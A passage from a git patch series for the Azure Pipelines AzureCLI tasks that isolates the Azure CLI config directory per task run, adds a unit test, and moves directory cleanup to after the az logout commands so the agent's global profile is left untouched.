b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts +++ b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/Tasks/AzureCLIV3/azureclitask.ts b/Tasks/AzureCLIV3/azureclitask.ts index 979dd9207b08..6b84f7ad65e7 100644 --- a/Tasks/AzureCLIV3/azureclitask.ts +++ b/Tasks/AzureCLIV3/azureclitask.ts @@ -520,7 +520,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV1/azureclitask.ts b/_generated/AzureCLIV1/azureclitask.ts index c8781112a47a..eb46039929ec 100644 --- a/_generated/AzureCLIV1/azureclitask.ts +++ b/_generated/AzureCLIV1/azureclitask.ts @@ -243,7 +243,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV1_Node24/azureclitask.ts b/_generated/AzureCLIV1_Node24/azureclitask.ts index c8781112a47a..eb46039929ec 100644 --- a/_generated/AzureCLIV1_Node24/azureclitask.ts +++ b/_generated/AzureCLIV1_Node24/azureclitask.ts @@ -243,7 +243,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV2/azureclitask.ts b/_generated/AzureCLIV2/azureclitask.ts index 7ee68d6bc1ad..7e89217e32ac 100644 --- a/_generated/AzureCLIV2/azureclitask.ts +++ b/_generated/AzureCLIV2/azureclitask.ts @@ -378,7 +378,6 @@ export class azureclitask { // attacker pre-seeding and the tight perms come from the agent temp root. this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV2_Node24/azureclitask.ts b/_generated/AzureCLIV2_Node24/azureclitask.ts index 7ee68d6bc1ad..7e89217e32ac 100644 --- a/_generated/AzureCLIV2_Node24/azureclitask.ts +++ b/_generated/AzureCLIV2_Node24/azureclitask.ts @@ -378,7 +378,6 @@ export class azureclitask { // attacker pre-seeding and the tight perms come from the agent temp root. this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV3/azureclitask.ts b/_generated/AzureCLIV3/azureclitask.ts index 979dd9207b08..6b84f7ad65e7 100644 --- a/_generated/AzureCLIV3/azureclitask.ts +++ b/_generated/AzureCLIV3/azureclitask.ts @@ -520,7 +520,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** diff --git a/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts index ead17f3cec00..d372e7f820c2 100644 --- a/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts +++ b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts @@ -15,6 +15,18 @@ export function runConfigDirIsolationTests() { afterEach(() => { try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } }); it('creates a brand-new directory under the agent temp root', () => { diff --git a/_generated/AzureCLIV3_Node24/azureclitask.ts b/_generated/AzureCLIV3_Node24/azureclitask.ts index 979dd9207b08..6b84f7ad65e7 100644 --- a/_generated/AzureCLIV3_Node24/azureclitask.ts +++ b/_generated/AzureCLIV3_Node24/azureclitask.ts @@ -520,7 +520,6 @@ export class azureclitask { // az config file at $(Agent.TempDirectory)/.azclitask/config. this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts index e0f944c13ab0..fa8463c0d336 100644 --- a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts @@ -24,16 +24,22 @@ import * as tl from 'azure-pipelines-task-lib/task'; /** * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the - * supplied agent temp directory. Returns the absolute path. The directory - * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six * cryptographically-random alphanumeric characters chosen by libuv - * (filesystem-safe on every supported OS). + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. */ export function createPerInvocationAzureConfigDir(agentTempDir: string): string { if (!agentTempDir) { throw new Error('agentTempDir is required'); } - return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; } /** From af8a7fda508e875c82a21412668142f73bc78dd6 Mon Sep 17 00:00:00 2001 From: "Uladzimir Tratsiakou (Vladimir/Vova)" Date: Fri, 29 May 2026 17:45:29 +0200 Subject: [PATCH 4/6] AzureCLI@1/@2/@3: defer AZURE_CONFIG_DIR cleanup until after az logout Commit 6626762 paired the env-var unset into removePerInvocationAzureConfigDir, but the cleanup call ran before logoutAzure() (which invokes `az account clear`, and on V3 also before `az devops configure --defaults`). With AZURE_CONFIG_DIR already unset, those `az` commands fell back to ~/.azure and mutated the agent's global Azure CLI profile -- on self-hosted agents this could clear unrelated cached logins. Move the dir removal to after all `az` cleanup commands so they keep seeing the per-invocation profile. Addresses copilot-pull-request-reviewer[bot] review comments. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- Tasks/AzureCLIV1/azureclitask.ts | 13 ++++++++----- Tasks/AzureCLIV2/azureclitask.ts | 13 ++++++++----- Tasks/AzureCLIV3/azureclitask.ts | 14 +++++++++----- _generated/AzureCLIV1/azureclitask.ts | 13 ++++++++----- _generated/AzureCLIV1_Node24/azureclitask.ts | 13 ++++++++----- _generated/AzureCLIV2/azureclitask.ts | 13 ++++++++----- _generated/AzureCLIV2_Node24/azureclitask.ts | 13 ++++++++----- _generated/AzureCLIV3/azureclitask.ts | 14 +++++++++----- _generated/AzureCLIV3_Node24/azureclitask.ts | 14 +++++++++----- 9 files changed, 75 insertions(+), 45 deletions(-) diff --git a/Tasks/AzureCLIV1/azureclitask.ts b/Tasks/AzureCLIV1/azureclitask.ts index eb46039929ec..6d6af83aaa32 100644 --- a/Tasks/AzureCLIV1/azureclitask.ts +++ b/Tasks/AzureCLIV1/azureclitask.ts @@ -118,11 +118,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -161,6 +156,14 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/Tasks/AzureCLIV2/azureclitask.ts b/Tasks/AzureCLIV2/azureclitask.ts index 7e89217e32ac..f74a00321bb4 100644 --- a/Tasks/AzureCLIV2/azureclitask.ts +++ b/Tasks/AzureCLIV2/azureclitask.ts @@ -160,11 +160,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -228,6 +223,14 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/Tasks/AzureCLIV3/azureclitask.ts b/Tasks/AzureCLIV3/azureclitask.ts index 6b84f7ad65e7..90bbba24764d 100644 --- a/Tasks/AzureCLIV3/azureclitask.ts +++ b/Tasks/AzureCLIV3/azureclitask.ts @@ -175,11 +175,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -264,6 +259,15 @@ export class azureclitask { } catch (e) { tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV1/azureclitask.ts b/_generated/AzureCLIV1/azureclitask.ts index eb46039929ec..6d6af83aaa32 100644 --- a/_generated/AzureCLIV1/azureclitask.ts +++ b/_generated/AzureCLIV1/azureclitask.ts @@ -118,11 +118,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -161,6 +156,14 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV1_Node24/azureclitask.ts b/_generated/AzureCLIV1_Node24/azureclitask.ts index eb46039929ec..6d6af83aaa32 100644 --- a/_generated/AzureCLIV1_Node24/azureclitask.ts +++ b/_generated/AzureCLIV1_Node24/azureclitask.ts @@ -118,11 +118,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -161,6 +156,14 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV2/azureclitask.ts b/_generated/AzureCLIV2/azureclitask.ts index 7e89217e32ac..f74a00321bb4 100644 --- a/_generated/AzureCLIV2/azureclitask.ts +++ b/_generated/AzureCLIV2/azureclitask.ts @@ -160,11 +160,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -228,6 +223,14 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV2_Node24/azureclitask.ts b/_generated/AzureCLIV2_Node24/azureclitask.ts index 7e89217e32ac..f74a00321bb4 100644 --- a/_generated/AzureCLIV2_Node24/azureclitask.ts +++ b/_generated/AzureCLIV2_Node24/azureclitask.ts @@ -160,11 +160,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -228,6 +223,14 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV3/azureclitask.ts b/_generated/AzureCLIV3/azureclitask.ts index 6b84f7ad65e7..90bbba24764d 100644 --- a/_generated/AzureCLIV3/azureclitask.ts +++ b/_generated/AzureCLIV3/azureclitask.ts @@ -175,11 +175,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -264,6 +259,15 @@ export class azureclitask { } catch (e) { 